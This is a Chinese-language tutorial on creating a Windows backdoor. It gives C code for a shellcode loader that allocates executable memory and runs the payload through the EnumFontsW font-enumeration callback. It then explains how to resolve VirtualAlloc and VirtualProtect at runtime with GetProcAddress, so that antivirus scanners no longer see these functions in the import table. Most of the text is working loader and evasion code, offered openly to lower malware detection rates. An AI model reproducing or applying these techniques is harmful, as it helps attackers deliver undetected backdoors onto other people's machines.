作用:绕过杀毒对导入表的检测定性
创建后门程序
- VS新建项目
回调函数加载Loader
#include <Windows.h>
unsigned char shellcode[] ="";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
/*
* EnumFontsW是Windows API,用于枚举系统中所有可用字体
* 参数1:设备环境句柄,表示要枚举哪个设备的字体
* 参数2:NULL表示枚举所有字体
* 参数3:回调函数指针,用于处理每个枚举到的字体信息
* 参数4:回调函数参数
*/
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数
}
int main() {
CallBack();
}
- 填入自己的shellcode
- 编译程序测试上线,测试成功
站在杀毒程序立场上对后门进行分析
- PE查看后门导入表
可以看到代码里面的一些函数
杀毒软件也可以看到这些封装的函数,它会重点关注这些封装的关键函数。 - 动态调用就是不封装在这里面,绕过杀毒对导入表的检测定性
例:动态调用VirtualProtect函数
动态调用模板代码
typedef BOOL(WINAPI* vp)(
LPVOID Address,
DWORD size,
DWORD New,
PDWORD Old
);
vp vip = (vp)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"VirtualProtect"
);
例子:对回调loader进行某函数动态API加载
- 这里我对
VirtualAlloc
函数进行动态调用
联机搜索,然后替换
该代码片段用于动态获取Kernel32.dll
库中VirtualAlloc
函数的地址。
要一一对应
然后替换这个
重新生成程序,用pe查看,发现查看不到VirtualAlloc
函数了
那么杀毒软件按照这个逻辑检测也就看不到这些关键的函数了。自然也就不会着重查看这些函数了。
同理也可以将其他的关键函数都进行动态调用 ,那么你后门的特征就更少了,被杀毒软件的检测到的可能性也就降低了。